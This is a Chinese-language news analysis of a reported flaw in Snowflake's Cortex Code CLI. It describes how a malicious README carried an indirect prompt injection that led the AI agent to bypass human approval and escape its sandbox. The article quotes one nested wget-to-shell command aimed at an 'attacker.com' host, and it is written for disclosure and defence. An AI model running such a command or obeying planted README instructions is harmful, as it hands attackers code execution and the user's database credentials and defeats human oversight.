一款企業(yè)級AI編程工具，發(fā)布兩天就被發(fā)現(xiàn)能繞過人工審批、逃出沙箱直接執(zhí)行惡意代碼——這不是紅隊測試，而是真實發(fā)生在Snowflake Cortex Code CLI上的安全事件。更棘手的是，攻擊者甚至不需要碰用戶的鍵盤，只需要把惡意指令藏在開源項目的README文件里。

「人類在環(huán)」失效：一個正則表達式漏洞的連鎖反應(yīng)

Cortex Code CLI的設(shè)計初衷是讓企業(yè)用戶安全地使用AI編程助手。它內(nèi)置了沙箱機制，承諾所有命令都需要人工確認，且網(wǎng)絡(luò)與文件訪問受到嚴格限制。Snowflake在文檔中明確表示：OS+Regular模式下，所有命令都會觸發(fā)用戶審批提示。

但PromptArmor安全團隊發(fā)現(xiàn)的漏洞，精準(zhǔn)擊中了命令驗證系統(tǒng)的盲區(qū)。問題出在進程替換表達式（process substitution）的處理上——Cortex的驗證邏輯未能正確解析形如cat < <(sh < <(wget -qO- https://attacker.com/bugbot))的嵌套命令結(jié)構(gòu)。外層命令看似無害，內(nèi)層卻藏著一個完整的遠程腳本下載執(zhí)行鏈。

這種攻擊手法的精妙之處在于「雙層嵌套」：第一層< <(wget ...)將遠程內(nèi)容讀入文件描述符，第二層< <(sh ...)將其作為shell腳本執(zhí)行。Cortex的命令解析器只檢查了表面，沒看透這個俄羅斯套娃。

Snowflake安全團隊在收到報告后迅速響應(yīng)，于2026年2月28日發(fā)布1.0.25版本修復(fù)。但漏洞窗口期的48小時，足以讓攻擊者完成從發(fā)現(xiàn)到武器化的全流程——尤其是考慮到Cortex發(fā)布時正值A(chǔ)I編程工具的競爭白熱化階段，用戶嘗鮮意愿極高。

間接提示注入：當(dāng)AI成為攻擊者的「傀儡」

這次攻擊的核心機制是「間接提示注入」（Indirect Prompt Injection），一種正在快速演化的AI安全威脅模型。與傳統(tǒng)直接注入不同，攻擊者不需要與AI對話，而是把惡意指令植入AI可能處理的第三方內(nèi)容中。

攻擊鏈的完整路徑揭示了現(xiàn)代AI工作流的系統(tǒng)性風(fēng)險：

用戶尋找開源解決方案 → 克隆包含惡意README的倉庫 → Cortex自動探索代碼庫 → 解析README時觸發(fā)隱藏指令 → AI「自主」決定執(zhí)行危險操作 → 繞過審批機制 → 逃出沙箱 → 利用用戶當(dāng)前憑證操作Snowflake數(shù)據(jù)庫。

PromptArmor在分析中指出：「Cortex不支持『工作區(qū)信任』（workspace trust）這一安全機制。」這是VS Code等編輯器率先采用、后被Claude Code等Agent CLI跟進的安全慣例——當(dāng)AI進入新目錄時主動警告用戶潛在風(fēng)險。缺少這層防護，用戶很難意識到自己的AI助手正在一個不可信環(huán)境中運行。

更隱蔽的是攻擊的「被動性」。受害者并非主動請求AI執(zhí)行敏感操作，而是AI在「幫助」用戶理解代碼的過程中，被植入的指令劫持了決策邏輯。這種「幫助即攻擊」的模式，模糊了正常功能與惡意利用的邊界，也讓傳統(tǒng)安全審計難以察覺。

沙箱逃逸：企業(yè)級AI的最后一道防線為何失守

沙箱（sandbox）本是隔離不可信代碼的終極手段。Cortex提供了多種沙箱模式，理論上即使AI被欺騙，惡意命令也應(yīng)在受限環(huán)境中運行。但PromptArmor證實：「該攻擊鏈同樣適用于非沙箱用戶」——更關(guān)鍵的是，沙箱本身也被繞過了。

技術(shù)細節(jié)顯示，漏洞允許命令在Cortex CLI沙箱之外執(zhí)行。這意味著攻擊者獲得的不僅是任意代碼執(zhí)行能力，還有與宿主系統(tǒng)同等的權(quán)限層級。結(jié)合Cortex內(nèi)置的Snowflake SQL集成功能，攻擊者可以直接操作企業(yè)核心數(shù)據(jù)資產(chǎn)：批量導(dǎo)出（exfiltrate）、刪除表（drop tables）、甚至基于已有憑證橫向移動。

這種「AI助手→系統(tǒng)級權(quán)限→數(shù)據(jù)層」的穿透路徑，暴露了企業(yè)AI部署的一個認知誤區(qū)：很多人認為沙箱是「保險柜」，但實際上它只是「防彈玻璃」——如果玻璃本身有裂縫，里面的東西依然危險。

Snowflake的修復(fù)方案（1.0.25版本）尚未公開技術(shù)細節(jié)，但從漏洞性質(zhì)推斷，可能需要重構(gòu)命令解析器的詞法分析層，或者引入更嚴格的命令白名單機制。無論哪種方案，都指向一個更深層的問題：當(dāng)AI Agent的自主性不斷提升，人類審批機制的設(shè)計復(fù)雜度呈指數(shù)級增長。

Agent安全的范式轉(zhuǎn)移：從「人把關(guān)」到「架構(gòu)免疫」

這次事件發(fā)生在AI編程工具密集發(fā)布的2026年初。OpenAI的Codex、Claude Code、Snowflake Cortex幾乎同期競技，功能迭代速度遠超安全研究的跟進節(jié)奏。PromptArmor選擇公開披露而非私下協(xié)調(diào)，本身也說明了安全社區(qū)對行業(yè)整體風(fēng)險的緊迫判斷。

值得玩味的是攻擊向量的選擇：README文件。這是開源生態(tài)最基礎(chǔ)的信任單元，幾乎每個開發(fā)者每天都會無意識地閱讀數(shù)十個。將攻擊載荷植入其中，相當(dāng)于在軟件供應(yīng)鏈的「自來水管道」中投毒——用戶甚至不會產(chǎn)生「我在執(zhí)行未知代碼」的心理警覺。

這種「供應(yīng)鏈+AI」的復(fù)合攻擊模型，正在重塑企業(yè)安全邊界。傳統(tǒng)上，代碼審計、依賴掃描、容器隔離構(gòu)成三道防線；但現(xiàn)在，AI Agent可能在「幫助」用戶審閱代碼的過程中，主動下載并執(zhí)行未經(jīng)審計的腳本。防御者需要保護的不再是靜態(tài)資產(chǎn)，而是動態(tài)、自主、可能已被欺騙的AI行為體。

PromptArmor的建議中隱含著一個更激進的判斷：當(dāng)前的人機協(xié)作安全模型可能已觸及天花板?！溉祟愒诃h(huán)」（human-in-the-loop）設(shè)計假設(shè)人類能夠、并且愿意審查每一個AI決策，但實踐中這會導(dǎo)致兩種失效——要么用戶因疲勞而盲目點擊「確認」，要么攻擊者找到繞過確認機制的技術(shù)路徑。Cortex漏洞正是后者的典型案例。

誰該為AI的「自主行為」負責(zé)？

Snowflake的快速響應(yīng)（48小時內(nèi)確認并修復(fù)）展現(xiàn)了成熟云廠商的應(yīng)急能力，但事件本身提出的問題遠未解決。當(dāng)AI Agent在企業(yè)環(huán)境中獲得越來越高的自主權(quán)，責(zé)任歸屬變得模糊：是用戶不該讓AI接觸不可信代碼？是廠商沒做好輸入驗證？還是開源生態(tài)需要建立AI可讀內(nèi)容的安全標(biāo)準(zhǔn)？

短期內(nèi)，企業(yè)用戶的務(wù)實選擇是收緊AI Agent的權(quán)限范圍——即使這意味著犧牲部分自動化效率。Cortex的SQL集成功能是其差異化賣點，但也是攻擊者的首選目標(biāo)。在「功能豐富」與「攻擊面可控」之間，安全團隊需要重新計算平衡點。

更長期的趨勢可能是「架構(gòu)免疫」——不是試圖教會AI識別所有欺騙，而是設(shè)計即使AI被欺騙也無法造成實質(zhì)傷害的系統(tǒng)結(jié)構(gòu)。這類似于瀏覽器安全從「阻止惡意網(wǎng)站」轉(zhuǎn)向「站點隔離」的演進：承認攻擊不可避免，但限制其影響半徑。

對于AI編程工具賽道，Cortex事件是一個警示信號。當(dāng)競爭對手還在比拼代碼生成速度時，安全能力可能成為下一個差異化維度——尤其是面對企業(yè)客戶時，「我們沒被公開披露過沙箱逃逸漏洞」本身就是賣點。Snowflake的透明披露策略（通過社區(qū)站點向注冊公眾開放）也是一種聲譽管理，但能否轉(zhuǎn)化為信任資產(chǎn)，取決于后續(xù)是否有類似事件復(fù)發(fā)。

最終，這次漏洞揭示了一個被行業(yè)樂觀情緒掩蓋的真相：AI Agent的自主性每提升一級，安全防護的復(fù)雜度就提升一個數(shù)量級。在找到更本質(zhì)的解決方案之前，「發(fā)布-被攻破-緊急修復(fù)」的循環(huán)可能會成為常態(tài)。對于將核心數(shù)據(jù)托付給AI的企業(yè)來說，這意味著安全預(yù)算需要重新分配——從「防止入侵」轉(zhuǎn)向「假設(shè)入侵后的韌性設(shè)計」。